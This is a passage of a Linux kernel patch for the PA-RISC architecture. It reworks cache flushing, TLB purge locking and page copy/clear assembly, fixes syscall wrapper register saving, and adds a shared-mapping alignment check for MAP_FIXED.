+					flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						if (pte_present(pte))
+							__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -487,20 +538,71 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
+/* While useful for testing, this check has too much overhead for
+   general use.  */
+#define DEBUG_PAGE_MAPPING 0
+
+static inline void check_page_mapping(struct page *page)
+{
+#if DEBUG_PAGE_MAPPING
+	struct address_space *mapping = page_mapping(page);
+	struct vm_area_struct *mpnt;
+	struct prio_tree_iter iter;
+	unsigned long offset;
+	unsigned long addr, old_addr = 0;
+	pgoff_t pgoff;
+
+	if (!mapping || !mapping_mapped(mapping))
+		return;
+
+	pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
+
+	/* Check that all mappings are congruently mapped */
+
+	flush_dcache_mmap_lock(mapping);
+	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
+		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
+		addr = mpnt->vm_start + offset;
+		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
+			if (old_addr) {
+				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
+			}
+			old_addr = addr;
+		}
+	}
+	flush_dcache_mmap_unlock(mapping);
+#endif
+}
 
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep) {
+					pte_t pte = *ptep;
+					check_page_mapping(pte_page(pte));
+					flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -513,3 +615,81 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+}
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 6f05944..3caa199 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1777,9 +1777,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1809,7 +1809,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1828,8 +1828,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1852,7 +1853,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 93ff3d9..9a29e34 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr2, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%sr2, %arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pitlb,l		%r0(%sr0,%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -725,8 +959,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%r28)
 
 	sync
-	bv		%r0(%r2)
+
+#ifdef CONFIG_PA20
+	pitlb,l		%r0(%sr0,%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
+	bv		%r0(%r2)
+	nop
 	.exit
 
 	.procend
@@ -775,7 +1018,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -815,7 +1058,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..25835d8 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -158,5 +158,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..5dd1059 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -314,7 +314,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 45b7389..53a1c69 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -76,7 +76,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
